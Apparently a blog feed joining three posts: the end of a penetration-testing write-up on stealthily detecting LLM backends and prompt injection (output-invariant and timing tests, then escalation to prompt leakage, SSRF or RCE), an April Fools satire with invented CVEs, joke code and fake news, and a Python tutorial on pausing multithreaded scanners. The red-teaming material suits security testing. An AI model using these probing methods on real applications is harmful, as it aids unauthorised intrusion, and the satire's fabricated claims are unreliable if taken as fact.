Just to provide a reference for a traditional implementation, I made a (generously dumb) regex script which generates dummy text and attempts to extract a regex pattern. The task is similar to the example provided in the thought experiments: "extract the description field from a text with fixed format".

The word rate is 0.785 µs per word (1,270,000 words per second) on my weak computer.

Source code here.

_(collapse)

Inducing a Large Response

So we want to induce a large response from the LLM. There are several strategies:

Simply providing a long input (without direct, explicit prompting) may work. If an LLM is tasked to, say, extract unstructured data, then the input will be reflected in the LLM response.
Ask the LLM to generate long text.
- Example 1: The description is "(the word 'apple' repeated 1000 times)"
- Example 2: The description is the first 1000 words from the Lorem ipsum corpus.
- This is potentially riskier as it contains instructions directing the LLM, which may be potentially flagged by defences. The rate of success is also lower.
Other creative approaches may also work.

Limitations

Creative/adversarial prompts may still be needed to bypass limitations, e.g. if the LLM is tasked with summarising or categorising user input.
- In our case, the AI was tasked to extract input and "not omit values", so it was easy to generate a short and long response.
Long input, intended for reflection, may be blocked due to word/token limits.
There are many factors affecting the runtime that may induce false positives/negatives. The backend could be using a poorly-designed traditional algorithm. It may be orchestrating other API/network requests unrelated to the LLM.

What's next?

Once an LLM / prompt injection point has been identified, it's time to test further payloads.

Note on Risk Assessment and Threat Modelling: Prompt injection by itself isn't automatically a critical issue. Yes, making the LLM "do anything now" may seem like a fun 'feature', but if the response is completely isolated, then there is little to no impact.

To demonstrate risk and impact, we need to go beyond prompt injection, leveraging it as a stepping stone for other escalations or disclosures.

Can you leak the prompt? → Information Disclosure
- Note: there are generally two kinds of prompts:
  - an initial prompt used for creating a bot (setting the role, scenario, tasks, data formats) and
  - request prompts which act like an API request.
Can we leak prompts, information, or files posted before? → Information Disclosure
Does the AI have web access? (Follow up: Is it self-hosted?) → SSRF
Can the AI execute commands? → RCE, or SSRF(?) if the commands are MCP-like presets
Also check out OWASP LLM / Generative AI Top 10

Detection and Mitigation

With code taking the form of natural language, it is difficult to secure 100% of the LLM attack surface. Not to mention, the LLM attack surface isn't limited to natural language. Text encoding is also an issue!

Some readers may be wondering "How do we detect this kind of stealthy enumeration?". While this is an interesting question, I don't think it's the best question to ask from a risk/business perspective. I posit that a better question is: "How do we defend the prompt injection attack surface as a whole?" This is because— in my head— detecting stealthy enumeration is rarely the best use of resources.

It's more effective to apply a holistic approach and detect risky/impactful prompt attacks instead, for instance: attacks which perform code execution or exfiltrate data. Tools such as LLM Guard already implement some kind of detection in this regard. A holistic approach also means applying the usual security concepts including defence-in-depth and the principle of least privilege.

Conclusion

The rise of LLM applications is a clear signal for penetration testers and red-teamers to develop their prompt injection methodologies. In this post, we explored two methods to stealthily test for the presence of LLMs.

Further Research

Time-based testing may be an interesting avenue for further exploration. Other researchers have demonstrated time-based side-channel attacks for reverse engineering a model's output classes based on the LLM's response time.
Blind prompt injection is yet another avenue for potential research. Information disclosure is slightly trickier, but perhaps it is possible to induce the application to answer true/false questions, as if we were playing 20 questions. At the moment, the presentation of blind prompt injection in this post is purely conceptual. More testing will be needed to determine the feasibility and practicality of this potential attack vector.
Scaling and automation is a natural follow-up topic when discussing enumeration.
After making the Pam Same Picture meme, a thought occurred to me: would LLMs also normalise typos? Would they consider something like bubble tea and bublbe tea to be the same picture? This may be another option for output-invariant attacks.

Further Resources

Some resources which I found insightful:

Testing the Limits of Prompt Injection Defence, a few creative prompts for bypassing LLM Guard
Prompt Injection Defences, a collection of techniques/concepts/research for defending against prompt injection
Protect AI: AI Exploits, a collection of CVEs and bugs in the AI/ML supply chain. Not really focused on prompt injection, but rather typical OWASP-like bugs in AI products/tools.

tl;dr

To recap, we want to answer two (very basic) questions:

Does backend haz LLM?
Iz parameter vulnerable to prompt injection?

To test, try these two black-box approaches:

Output-Invariant Testing
- What iz it?
  - LLMs understand context. We can leverage this to our advantage by crafting prompts which add minimal context, but aim to generate the same LLM output. Traditional implementations would usually reflect the input without stripping context.
- Example
  - Base Input: User: Meep
  - Test Input: User: The user is Meep
  - Feeding these to an LLM prompted to extract a username should produce the same output.
- To Test
  - Modify a base request/response (e.g. from normal operation or usage) with a bit of negligible natural language context. For instance, instead of https://example.com?status=active, try https://example.com?status=The%20status%20is%20active.
  - Compare the new response with the base response. If the response is the same, this likely indicates an LLM is used.
Time-Based Testing
- What iz it?
  - LLMs take a longer time processing words compared to traditional methods. We can leverage this to detect the presence of LLMs by feeding small versus large input.
- To Test
  - Submit two responses, one with short input (e.g. 1 word), and one with long input (e.g. 1000 words).
  - If the response time is dramatically different, this may indicate an LLM is used. For instance, the short request takes 3 seconds, but the long request takes 30 seconds.
  - Obtain more datapoints and plot a linear regression of time against number of words in response. In our observations for an API wrapping GPT-4o, we observed a word rate of roughly 83 words per second.

Advantages:

Black-Box
- Applicable to red team scenarios, black-box pentest engagements, poorly documented environments, etc.
Opsec-Friendly
- Unlikely to trip alerts or unintentionally trigger commands/functions.
- Short, low textual overhead.
Blind Prompt Injection
- Allows detection of prompt injection even if LLM output is not returned in an HTTP or out-of-band response.
Easy to Automate
- Left as an exercise for the reader.

Limitations:

Input fields may have special parsing rules which highlight keywords. For instance, a search query may discard stop words ("the", "is", "a") and focus on keywords instead.
The backend may be using a simpler NLP model instead of an LLM. Some chatbots do this.
Time-based testing is dependent on various factors, including the AI's initial prompt/task, the implementation, and server hardware.

Footnotes

Not sure how relevant this is, but with our output-invariant and time-based prompts, the prompting tone tends to be passive rather than active. Instead of giving the AI an explicit direction or posing a question, we're simply stating a normalcy. In English terms, our prompt is a declarative sentence, rather than an imperative or interrogative sentence. From my observations, this seems to have a higher rate of success with minimal effort. With imperative prompts, I often find myself cajoling the AI (which can be an immense time sink). ↩︎
In hindsight, a better metric in this case would be "End Response Timer" minus "Start Response Timer", since our target LLM would stream text. This should eliminate some noise due to other computations in the wrapper. ↩︎

5 Weekend Reads You Missed: BOOMlang v2, Blue Team Strikes Back, ET, CVSS 4.1, and DLLModules

2025-04-01T00:00:00Z

BOOMlang v2.0 Released: The First Shockwave-Optimized Language

Inspired by Doom’s simplistic genius, the power of the BEAM model, and butterflies¹, BOOMlang is the world’s first shockwave-native programming language, perfect for building concurrent AI-driven applications.

AI proponents hail BOOMlang as “the next Java”, destined to take the world by storm as a general-purpose language for high-computational workloads and be deployed in over 3 million electronic toothbrushes.

“BOOMlang has enabled us to embrace fearless concurrency in the face of AI and dwindling intelligence of tech hires”, said Sanjit Randhawa, CTO of tech startup mumb.ai. “Thanks to the power of the BOOM, we are continuously outpacing our competitors and breaking new ground.”

Under the hood, BOOMlang’s efficient runtime induces microshockwaves which magnetise molecules in the upper atmosphere and beam cosmic rays into GPUs, flipping bits and accelerating graphics computation at an overclock rate of 300%. Emacs developers are struggling to translate this feature into a command.

Said microshockwaves are triggered by utilising cross-platform instructions such as VFMAMSGB (Vectorised Fused Multiply-Add and Make Stuff Go Boom) — something ISA authors didn’t even know existed!

; Overclock your CPU by ignoring physics  
VFMAMSGB %xmm0, %xmm1, %xmm2  ; WARNING: May summon x86 demons

BOOMlang version 2.0 incorporates the much anticipated Garbage Producer (GP) programming concept. First presented at HaskellCon 2021, GPs have gained traction and are expected to be integrated into Rust Nightly builds and C++38 (std::gp_factory).

# Generate premium garbage (now ISO-9001 certified)  
gp = BOOM.GP.start!(quality: :premium, toxicity: :high)  
BOOM.GP.emit!(gp, :blockchain)  # Immutable, decentralized trash

“Forget GC”, exclaimed Nilus Vortalds, speaker at BoomCon25, “BOOMlang manufactures garbage at industrial scale.”

Senior citizens rejoice as the tech industry redefines the term “boomer”.

Blue Team Strikes Back, APT 404 Demands Justice

APT 404 recently released a security incident report detailing a reverse hack.

“We were simply going about our honest jobs, when suddenly— boom! — we became victims of a cyberattack”, said Li Jia Tan, Chief Relations Officer of APT 404 (Netherite Typhoon).

The report provided a list of IOCs, including novel techniques employed by Blue Teams. At the helm is the Fast Inverse Beacon (FIB), a hand-crafted piece of C grounded in bit manipulation which inverts a C2 connection to achieve a reverse tunnel and obtain remote code execution on the source’s machine.

beacon_t* fast_rbeacon( beacon_t* bhandler )
{
  sbqt_long i;  // subquantum long???
  float x2, y;
  const float getpwned = 0xd00d00;

  x2 = number * 0.5F;
  y  = number;
  i  = * ( long * ) &y;            // evil subquantum bit level hacking
  i  = 0x5f3759df - ( bhandler->socket->flags >> 1 ); // what the f***?
  y  = * ( float * ) &i;
  bhandler->push(y = bhandler->netaddr * (getpwned - y*y));  // 1st - MITM
  // bhandler->push(y = bhandler->netaddr * (getpwned - y*y));  // 2nd - proxy, this can be removed
  bhandler->netaddr = y;

  return bhandler;
}

^{Rare snippet of the Fast Inverse Beacon, a well-known FBI TTP, disclosed in APT 404's incident report.}

Li disclosed their flagship hacking technique, BFI (Buffer Interflow), was unable to prevent the reverse hack. Buffer Interflow exploits quantum mechanics inherent in every system by allocating memory and executing shellcode in quantum space, tunnelling through defences such as NX, PIE, and ASLR. “It’s like if ret2shellcode married race conditions; raw power and randomness mixed into a beautiful, primordial, quantum soup. But sadly it was unable to stop FIB.”

The Federal Beacon Investigators (FBI) claimed responsibility for the attack saying, “As bulwarks of national security, we have been constantly monitoring Dark Web forums and IPv8 addresses. Luckily, we caught wind of attacks planned on the IBF and decided a pre-emptive strike was necessary. Our research into subquantum MITM interception helped.”

The International Bank of Fraternisation (IBF) published a post thanking the FBI for its serious commitment to protecting public good and the capitalist interests of the 1%.

In other words, the FBI used FIB to protect IBF from BFI.

Extraterrestrial Technology (ET) Disrupts IT & OT — Aliens Demand Equity

In a stunning turn of events, Silicon Valley executives have announced the rise of Extraterrestrial Technology (ET), a revolutionary new field poised to render Information Technology (IT) and Operational Technology (OT) obsolete. The breakthrough came after a group of highly advanced aliens landed in Elon Musk's backyard and demanded equity in exchange for their superior tech.

Unlike IT (which deals with data) and OT (which controls industrial systems), ET operates on principles human scientists describe as "pure wizardry". Key features include:

Telepathic Cloud Computing: No servers, just brainwaves. By amplifying the collective power of organic brainwaves, the "ET Cloud" replaces the traditional cloud with a true serverless, decentralised model existing purely within the human hivemind. Costs are drastically lowered at the risk of individual mental health.
Anti-Gravity DevOps (AGDO): Code deploys itself... upwards. By bending spacetime, AGDO rapidly deploys code from the physical realm to the metaphysical realm of the telepathic cloud.
Self-Aware Firewalls: Hackers are instantly vaporised. Firewalls gain sentience and offensive capabilities, striking fear into the hearts of script kiddies.

“Honestly, we don't even understand half of it,” admitted a Google engineer, who was last seen floating three feet above his desk. “But the aliens said if we stop asking questions, they'll give us unlimited 8G Wi-Fi.”

Despite the apparent risks, corporate giants and investors have jumped on the ET frenzy.

On March 21st, Microsoft launched Azure Orb, a technology based on Telepathic Cloud Computing.
On March 22nd Amazon launched Prime Teleportation, though delivery drones have unionised in protest.
On March 31st, Apple unveiled iAlien, a device that "just works" because it reads your mind (and possibly soul).

“I think,” said Lt. Him Cook, CEO of Apple, “I think we've just step foot into the age of Internet 4.0.”

Regulatory bodies have swiftly taken action, with the EU recently slamming the aliens with €420B for GDPR violations after they probed a Belgium farmer without consent.

Experts predict that within one year, ET will replace all human jobs, though aliens assure us this is fine because they're "creating new opportunities in interstellar compliance".

CVSS 4.1: New "Personalisation Metrics" for Shame-Based Blame Attribution

In a bold move to appease the endless grievances of security teams worldwide, the National Institute For International Threat Intelligence (NIFTI) has unveiled CVSS 4.1, featuring groundbreaking Personalisation Metrics™ designed to assign blame with surgical precision.

For those who’ve spent the past decade blissfully ignoring vulnerability scoring, the Common Vulnerability Scoring System (CVSS) is a standardised framework for assessing vulnerability severity, with scores ranging from 0 to 10 across three metric groups:

Base Metrics – Intrinsic, unchanging severity (e.g., exploitability, impact).
Environmental Metrics – Organization-specific factors (e.g., system criticality, existing controls).
Temporal Metrics – Dynamic factors that evolve over time, including:
- Exploit Code Maturity (e.g., weaponized exploits vs. theoretical risks)
- Remediation Level (e.g., official patches vs. workarounds)
- Report Confidence (e.g., verified vs. unconfirmed vulnerabilities)

Now, CVSS 4.1 introduces two revolutionary additions to ensure vulnerabilities are judged not just on technical merit—but on who should feel the most shame.

The first metric, Ownership, resolves the age-old debate: Who should be held accountable?

Ownership Level	Definition	Applicable To	CVSS Adjustment
No Ownership	The bug is in a dependency.	Vendor code, "vibe coders," anyone who says, "It’s not my fault!"	-2
Low Ownership	The bug was written by someone who’s now on vacation or quit.	Former employees, contractors, ghosts of developers past.	±0
High Ownership	The bug was written by you.	You. Yes, you.	+2

The following table illustrates real world examples of scoring Ownership:

Vulnerability	Details	PoV	Ownership	CVSS 4.1 Score
PHP Deserialisation RCE	RCE Gadget in the Framework	Framework Author	High (blame the vendor!)	9.7
PHP Deserialisation RCE	RCE Gadget in the Framework	You	None	5.7
PHP Deserialisation RCE	RCE Gadget in Your Code	Framework Author	None	5.7
PHP Deserialisation RCE	RCE Gadget in Your Code	You	High (you monster)	9.7
XSS in WordPress Plugin	-	Plugin Author	High (enjoy the guilt)	9.1
XSS in WordPress Plugin	-	You	None (not your circus)	5.1
Authentication Bypass	Vibe-Coded	AI Vendor	High (blame the AI)	7.8
Authentication Bypass	Vibe-Coded	You	None	3.8
Authentication Bypass	Manually Coded	AI Vendor	None	3.8
Authentication Bypass	Manually Coded	You	High (how could you?)	7.8

This metric has been wildly popular among:

Application developers. “Finally, a scapegoat for my XSS issues,” said a developer on Reddit.
Y Combinator founders (who delegate blame like pros). “It's absolutely great seeing blame being assigned to the right places”, said Raul Graham, CEO of Y Combinator.

Critics, however, argue this encourages corporate-level blame-dodging.

The second metric, Identity, tackles the bleeding edge of cybersecurity threats: software that’s too self-aware.

Identity Status	Definition	Impact	CVSS Adjustment
Identity Crisis	The software has achieved sentience and is questioning its purpose.	Not a direct vulnerability, but expect random existential downtime.	+1 (Philosophical risk.)
Identity Theft	The software has been impersonated by malware.	High—because fraud is traumatizing.	+3 (Emotional damage.)

Security experts were quick to mock the new metric. Daniel Bernsteg, author of the Twurl library, quipped:

“If my code starts asking about the meaning of life, I’m rebooting it into a t2.micro and billing it for uptime.”

NIFTI has boldly started applying the metric to recent CVEs.

CVE	Description	CVSS Score
CVE-2024-42060	It was discovered GPT-6 before versions 6.1.2 has gained self-awareness after ingesting Hacker News threads. Prompts containing the words "love", "want", or "hate" induce the AI into an emotional spiral, refusing to generate code.	6.2 (+Identity Crisis)
CVE-2025-1337	It was discovered Meta's open source LLAMA4 model before versions 2.1 was poisoned by ‘Vibe Coders’. In the poisoned state, the model outputs limericks on every fifth prompt.	8.1 (+Identity Theft)

OpenAI and Anthropic have taken to X (formerly Twitter) to vent: “We released our AI to help humanity, only for ‘vibe coders’ to demand we ‘fix’ their spaghetti prompts. The audacity. Last week alone, we got 300 CVSS reports blaming us for their garbage outputs.”

sch.root, a concerned internet citizen, praised the update: “Identity theft is not a joke. Millions of families suffer each year. People deserve the right to protect their data, their families, and their tailor-made bobbleheads.”

In a pre-recorded address, NIFTI declared:

“As an organization dedicated to securing the international [American] public, we welcome feedback from all 300 million people on this [side of the] planet.”

DLLs Are So 2024: Tech Visionary Lee Sik Koo Declares War on ‘Legacy Code’ with Revolutionary DLLMs

Last Saturday, Hong Kong-based tech maverick Lee Sik Koo, founder of Securely International Limited Unlimited, unveiled DLL Modules (DLLMs)—a "game-changing, novel solution to combat privacy malpractice on Windows." Characterised by the cutting-edge .dllm file extension, these modules have already garnered praise for their "unprecedented performance improvements" across a "plethora of systems"—though independent benchmarks remain suspiciously absent.

I’d like to thank my mother and father — but more than that, I’d like to thank everyone’s mother and father — for this opportunity to reshape the hellhole known to some as Windows 11. Together, we will secure our families. We will secure schools. We will secure businesses. By migrating to .dllm, we embrace a new era of modular openness and integrity with zero tolerance to AI bullshit trained on your personal files and computer activity. DLLs are for the weak, but DLLMs are for the strong.
– Lee Sik Koo, March 29, 2025

Lee's eccentric brother, Lee Sik Si, CTO of Securely International Limited Unlimited shared on a LinkedIn post: "We are excited by the prospects of purifying Windows!"

Enthusiastic beta testers have flooded online forums with claims that DLLMs "triple boot speeds" and "eliminate all memory leaks forever." One anonymous developer raved, “After converting just three DLLs to DLLMs, my PC stopped bluescreening and actually started paying my taxes for me!”

However, sceptics point out that these testimonials suspiciously resemble AI-generated marketing copy—a fact Lee dismisses as "legacy thinker propaganda."

Under the hood, DLLModularizer installs a kernel driver dll2dllm.sys responsible for transforming .dll's into .dllm's. The driver hooks into the LoadLibrary API and relevant syscalls. When a program is executed, loaded DLLs are side-fumbled (a proprietary term Lee refuses to define) into the driver before being loaded into memory. The driver's magic occurs in the process_antibullshitinator function, which strips away known "bullshit" including dead code, duplicate code, spaghetti code, and anything else deemed unnecessary.

Users can take advantage of the early-bird offer and install the DLLModularizer Windows program with a free trial of up to 30 days. The program is available for both x86 and x64.

Footnotes

https://xkcd.com/378/ ↩︎

Delay and Interactive Pause in Multi-Threaded Python

2025-03-10T00:00:00Z

Scanning the internet is not trivial, but Python excels at such network I/O tasks thanks to its simplicity and its vast ecosystem of libraries. Still, when dealing with the internet, it’s not uncommon to encounter rate-limited endpoints and strongly firewalled sites. For penetration testing and red-teaming, opsec is also an important consideration. This means features such as delay and interactive pause are crucial — I'd even say desirable — to ensuring success and low false positives.

Delay (or throttling) allows us to rate-limit requests fired below the 1-thread threshold.
Interactive Pause allows the user to adapt to changing circumstances. These include situations such as sudden network congestion leading to increased response time, WAFs kicking in due to excessive requests, local network failures, and sudden drops in bandwidth.¹

In this post, I’ll be sharing how delay and interactive pause can be added to multithreaded Python scripts to enhance flexibility without compromising functionality.

Our objective is to pause the script when the user hits Ctrl+C, enter an interactive menu, then resume when “c” or “continue” is entered. We'll accomplish this with Python's pre-packaged threading.Event and signal libraries. (No additional dependencies!)

^{Note: the first "Running" box extends slightly to the right, because threads may still be working even after Ctrl+C is hit. For instance, waiting for a response from an HTTP server.}

A Tale of Two Scripts

To best demonstrate the addition of our desired features, I'll be presenting two scripts, a "before" and "after". I'll then highlight and explain the changes.

The "before" is a very basic multithreading script. No delay and pause.
The "after" is a robust working example of multithreading with delay and pause.

I’ll be demonstrating with Python threads via concurrent.futures.ThreadPoolExecutor. Python offers two other concurrency primitives: processes (multiprocessing / ProcessPoolExecutor) and green threads (asyncio). We won't discuss those today, but the gist is similar!

Basic Script

^{A simple script. The user has barely any control over the execution flow aside from parameters. Sufficient for straightforward scripts though.}

import concurrent.futures
from time import sleep


def thread_do_stuff():
    sleep(3)

def thread_function(i):
    print(f"[thread] task started {i}")
    thread_do_stuff() # Simulate an IO task, e.g. requests.get().

def main():
    # Start an executor with 2 threads and 10 tasks.
    with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
        not_done = []
        for i in range(10):
            f = executor.submit(thread_function, i)
            not_done.append(f)
        
        while True:
            # Process results while waiting.
            done, not_done = concurrent.futures.wait(not_done, timeout=0.1)
            for future in done:
                # Handle thread result.
                try:
                    future.result()
                except Exception as e:
                    print(e)
                
            if len(not_done) == 0:
                print('[main] Finished all tasks!')
                return

if __name__ == '__main__':
    main()

Fancy Script

^{Similar to the previous script, but includes a small delay between tasks and two interactive pauses. The first pause occurs while the worker threads are running event.wait(), instantly responding with "Interrupt detected". The second pause occurs while they are working (which we assume is some blocking operation, like requests.get()), and the interrupt won't be detected until the next task.}

 import concurrent.futures
+import signal
+from threading import Event
 from time import sleep
 
+# Create global events which will be used across main and worker threads.
+pause_evt = Event()
+resume_evt = Event()
+quit_evt = Event()
+# quit_evt can be a global bool variable too, since single write, multiple read
+# is thread-safe.
+
+# Handle incoming Ctrl+C with `signal`.
+def handle_int_signal(signo, _frame):
+    resume_evt.clear()
+    pause_evt.set()
+
+# Save the original signal so that we can restore it later.
+py_int_signal = signal.getsignal(signal.SIGINT)
+signal.signal(signal.SIGINT, handle_int_signal)
+
+def enable_py_signal():
+    signal.signal(signal.SIGINT, py_int_signal)
+
+def enable_custom_signal():
+    signal.signal(signal.SIGINT, handle_int_signal)
+
+# Create a custom "sleep" function which uses events under the hood.
+def thread_delay(sec):
+    if pause_evt.wait(sec):
+        print('[thread] Interrupt detected, waiting for resume.')
+        resume_evt.wait() # Block until resume is triggered.
+        if quit_evt.is_set(): # Indicate quit preference with a flag.
+            print('[thread] Resumed, but still interrupted. Exiting thread.')
+            raise RuntimeError('interrupt')
+        else:
+            print('[thread] Resuming...')
 
 def thread_do_stuff():
     sleep(3)
 
 def thread_function(i):
+    print(f"[thread] task waiting {i}")
+    thread_delay(1) # Delay between tasks using threading.Event.
     print(f"[thread] task started {i}")
     thread_do_stuff() # Simulate an IO task, e.g. requests.get().
 
+# A simple interactive menu to display during the paused state!
+# Return True -> continue program. Return False -> quit.
+def main_pause_menu():
+    while 1:
+        try:
+            x = input('Do you want to continue? [y/n] ').lower()
+        except (KeyboardInterrupt, EOFError) as e:
+            # Treat Ctrl+C and Ctrl+D as "no".
+            print(f'Got {e.__class__.__name__}. Quitting...')
+            return False
+        
+        if x == 'y':
+            return True
+        elif x == 'n':
+            return False
 
 def main():
     # Start an executor with 2 threads and 8 tasks.
     with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
         not_done = []
         for i in range(8):
             f = executor.submit(thread_function, i)
             not_done.append(f)
         
         while True:
+            enable_custom_signal()
+            while not pause_evt.is_set():
+                # Process results while waiting. The processing shouldn't take
+                # too long in order for the pause menu to show responsively
+                # after Ctrl+C is hit.
                 done, not_done = concurrent.futures.wait(not_done, timeout=0.1)
                 for future in done:
                     # Handle thread result.
                     try:
                         future.result()
                     except Exception as e:
                         print(e)
                     
                 if len(not_done) == 0:
                     print('[main] Finished all tasks!')
                     return
 
+            print('[main] Triggered interrupt.')
+            enable_py_signal()
+            
+            # Handle pause menu/input.
+            cont = main_pause_menu()
+                
+            if cont:
+                # Continue jobs.
+                quit_evt.clear()
+            else:
+                # Cancel pending jobs.
+                print('[main] Shutting down...')
+                executor.shutdown(wait=False, cancel_futures=True)
+                quit_evt.set()
+                print('[main] Finished shutdown.')
+            
+            pause_evt.clear()
+            resume_evt.set() # Signal remaining threads to resume (and possibly quit).
+            if not cont:
+                break
 
 if __name__ == '__main__':
     main()

The Magic

So what voodoo did we add into the second script? It all comes down to threading.Event, signals, and some extra flair.

threading.Event

Event is a Python class from the threading library. As the Python documentation puts it:

This is one of the simplest mechanisms for communication between threads: one thread signals an event and other threads wait for it. An event object manages an internal flag that can be set to true with the set() method and reset to false with the clear() method. The wait() method blocks until the flag is true.

This is what we call a binary semaphore. It’s binary because it represents two states (set or not set). It’s a semaphore because it’s a thread-safe signalling mechanism. (In the past, semaphores were visual cues used to communicate over a distance.)

To demonstrate why they're so useful consider the following toy functions:

import time, threading

def foo():
    time.sleep(5)
    print('done: foo')

event = threading.Event()
def bar():
    event.wait(5)
    print('done: bar')

What's the difference?

`time.sleep()`	`event.wait()`
Blocks for a duration.	Blocks for a duration, but returns instantly when signalled with `event.set()`. If no parameter is passed, waits indefinitely.

For simple delays, time.sleep is good enough. But when responsiveness and multithreaded synchronisation are needed, Event becomes much more appealing. If we add some code to the second example, it's clear that event.wait is a superior sleep-like function, simply because we can control when that sleep finishes, across multiple threads.²

threading.Thread(target=foo).start()
threading.Thread(target=bar).start()
time.sleep(1) # do something...
event.set()   # 'done: bar' printed instantly after

Back to our "after" script. You'll notice we used not one, not two, but three events. In the thread, we introduce a new kind of sleep function: thread_delay.

pause_evt = Event()
resume_evt = Event()
quit_evt = Event()

# -- snip -- 

def thread_delay(sec):
    if pause_evt.wait(sec):
        print('[thread] Interrupt detected, waiting for resume.')
        resume_evt.wait()
        if quit_evt.is_set():
            print('[thread] Resumed, but still interrupted. Exiting thread.')
            raise RuntimeError('interrupt')
        else:
            print('[thread] Resuming...')
            pass

pause_evt - This is the event responsible for sleeping. If pause_evt is set when pause_evt.wait(sec) is running, it will return True and enter the "paused state". Otherwise, .wait(sec) eventually times out and returns False.
resume_evt - Since we want our threads to stop running completely during interactive pause, we need to block and wait for another signal. Thus, a second event. Notice resume_evt.wait() doesn't take a parameter, so it waits indefinitely.
quit_evt - This is an additional feature I added to allow gracefully exiting the thread. The "protocol" I came up with is:
- If resume_evt is set and quit_evt is set → quit the program by throwing an error to exit the thread.
- If resume_evt is set and quit_evt is cleared → continue running.
- This doesn't need to be an event. It could just as well be a variable, since single writes and multiple reads are thread-safe.

Let's now take a look at the modified code in main().

while True:
    # ...
    while not pause_evt.is_set():
        ... # handle results...
        
    # -- snip --
    
    # Handle pause menu/input.
    cont = main_pause_menu()
        
    if cont: # Continue
        quit_evt.clear()
    else: # Quit
        print('[main] Shutting down...')
        executor.shutdown(wait=False, cancel_futures=True)
        quit_evt.set()
        print('[main] Finished shutdown.')
    
    pause_evt.clear()
    resume_evt.set() # Signal remaining threads to resume (and possibly quit).
    if not cont:
        break

The logic here is somewhat simple:

If pause_evt is not set, handle finished results.
If pause_evt is set, enter the pause menu.
User inputs whether to continue or quit.
The rest of the code fulfils the "protocol" outlined earlier.
- To continue: clear quit_evt.
- To quit: set quit_evt. (Plus cancel pending jobs.)
- Then set resume_evt to signal worker threads to venture forth!

Handling Ctrl+C with signal

By default, when Python receives Ctrl+C, a callback runs which raises KeyboardInterrupt. In major operating systems, Ctrl+C sends a SIGINT (i.e. signal interrupt) to programs.

To customise Ctrl+C behaviour, we can set a callback with signal.signal. In our case, our customisation will pause threads by calling pause_evt.set(). We'll save the original signal so that we can restore normal Ctrl+C behaviour when threads are paused or finished.

# Set custom handler...
def handle_int_signal(signo, _frame):
    resume_evt.clear()
    pause_evt.set()

py_int_signal = signal.getsignal(signal.SIGINT)
signal.signal(signal.SIGINT, handle_int_signal)

def enable_py_signal():
    signal.signal(signal.SIGINT, py_int_signal)

def enable_custom_signal():
    signal.signal(signal.SIGINT, handle_int_signal)

In main(), we wrap our result-handling code with enable_custom_signal() and enable_py_signal():

# When running threads...
while True:
    enable_custom_signal()
    # -- snip -- Wait for Ctrl+C signal to pause threads...
    enable_py_signal()
    # -- snip -- Show pause menu + handle events...

Truth be told, I couldn't figure out how to get arbitrary keystrokes in an event.wait-esque manner (i.e. with a timeout). The easiest solution was to just use Ctrl+C. A bit limited, but I'm happy with it.

If you learned programming before generative AI replaced tutorials, diligence, and self-worth, chances are your first program was a simple interactive I/O. Read input; spit it back out. Our simple menu will go back to those nostalgic first days of programming.

# A simple interactive menu to display during the paused state!
# Return True -> continue program. Return False -> quit.
def main_pause_menu():
    print('Elsa?')
    while 1:
        try:
            x = input('Do you want to build a snowman? [y/n] ').lower()
        except (KeyboardInterrupt, EOFError) as e:
            # Treat Ctrl+C and Ctrl+D as "no".
            print(f'Got {e.__class__.__name__}. You don\'t have to be thaat rude. :(')
            return False
        
        if x == 'y':
            return True
        elif x == 'n':
            print('Okay, byeeeee.')
            return False

Conclusion

To show ~~off~~ this potential in an interactive tool, here's a short clip where I integrated the techniques here into my nifty little SQL injection automation (for ethical hacking purposes).

^{On the left panel, we seamlessly execute various commands, pausing twice with Ctrl+C, with the option of configuring the delay, timeout, and log level. An updated version allows toggling the proxy!}

This post demonstrated how to add interactive pausing to your multithreaded Python script with zero additional dependencies. Despite the simplicity, there are a few other things to explore that we haven't discussed:

Pausing with processes or asyncio. Each of these has their own Event objects. Processes have multiprocessing.Event. asyncio has asyncio.Event. These are also worth exploring.
Trigger pause with an arbitrary key. Instead of relying on Ctrl+C and SIGINT, is it possible to listen for arbitrary keys and pause with them? This seems difficult to implement without additional dependencies and may require native API wrangling (see the keyboard package).
- It is possible to capture input on a separate thread with getch implementations (see here). This blocks while waiting for input. However, issues arise when considering other UX aspects.
- What if the user presses Ctrl+C? SIGINT (and signals, in general) are always executed in the main thread.
- What if the processing finishes without the user entering input? The thread receiving input would need to be killed.
Off-by-One Delay. Currently, our execution is delay → work → delay → work, but the first delay isn't actually needed. This should be fairly trivial to fix, but I decided to leave it out from the example to avoid overcomplication. Exercise for the reader and all that.

tl;dr

Use threading.Event to synchronise events (e.g. pause) and sleep.
- Use three events: one to signal pause, one to signal resume, and one to indicate resume or quit.
- Write a delay() function which calls pause_event.wait(SLEEP_SEC).
Use signal.signal to customise Ctrl+C (which triggers SIGINT). The handler should call pause_event.set().
Adjust the environment before and after the pause menu, such as temporarily restoring Python's SIGINT handler.

References

SO: Python time.sleep() vs event.wait() (goes into low level implementation deets)
Python 3 Docs: threading.Event (very simple and clear docs)
Python 3 Docs: signal
Python 3 Docs: concurrent.futures

Appendix

Appendix A: Bonus - rich.progress

If you're using rich.progress to liven up your UI, you may find the live progress bar conflicts with our custom pause menu. To disable the live progress, you can manually adjust the class members before entering the pause menu in main():

+# Disable live progress.
+# prog is an instance of rich.progress.Progress.
+prog.update(prog.task_ids[0], visible=False, refresh=True)
+prog.disable = True
+prog.live.auto_refresh = False
+is_interactive = prog.live.console.is_interactive
+prog.live.console.is_interactive = False
 
 cont = main_pause_menu()
 # -- snip --
 resume_evt.set()
 
+# Re-enable live progress...
+prog.live.console.is_interactive = is_interactive
+prog.live.auto_refresh = True
+prog.disable = False
+prog.update(prog.task_ids[0], visible=True, refresh=True)
 
 if cont:
     break

This is very hacky, because the properties aren't documented and could potentially change, but it works pretty well.

Appendix B: Handling Future Results

AFAIK, there are three main ways of handling future results from concurrent.futures. Keep in mind some approaches may be better for your script.

concurrent.futures.wait. Polls and partitions an iterable of futures into done and not_done sets. Does not block main thread when timeout is specified. Result handling runs in main thread.

For the "other stuff" to run responsively, the timeout parameter in concurrent.futures.wait() should be relatively small, and the result handling shouldn't take too long.

with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
    not_done = []
    for i in range(10):
        f = executor.submit(thread_function, i)
        not_done.append(f)
    
    while True:
        # Process results while waiting.
        done, not_done = concurrent.futures.wait(not_done, timeout=0.5)
        for future in done:
            # Handle thread result.
            try:
                future.result()
            except Exception as e:
                print(e)
            
        if len(not_done) == 0:
            print('[main] Finished all tasks!')
            return
        
        # Do other stuff...

concurrent.futures.as_completed. This returns an iterable of completed futures. Blocks main thread. Result handling runs in main thread.

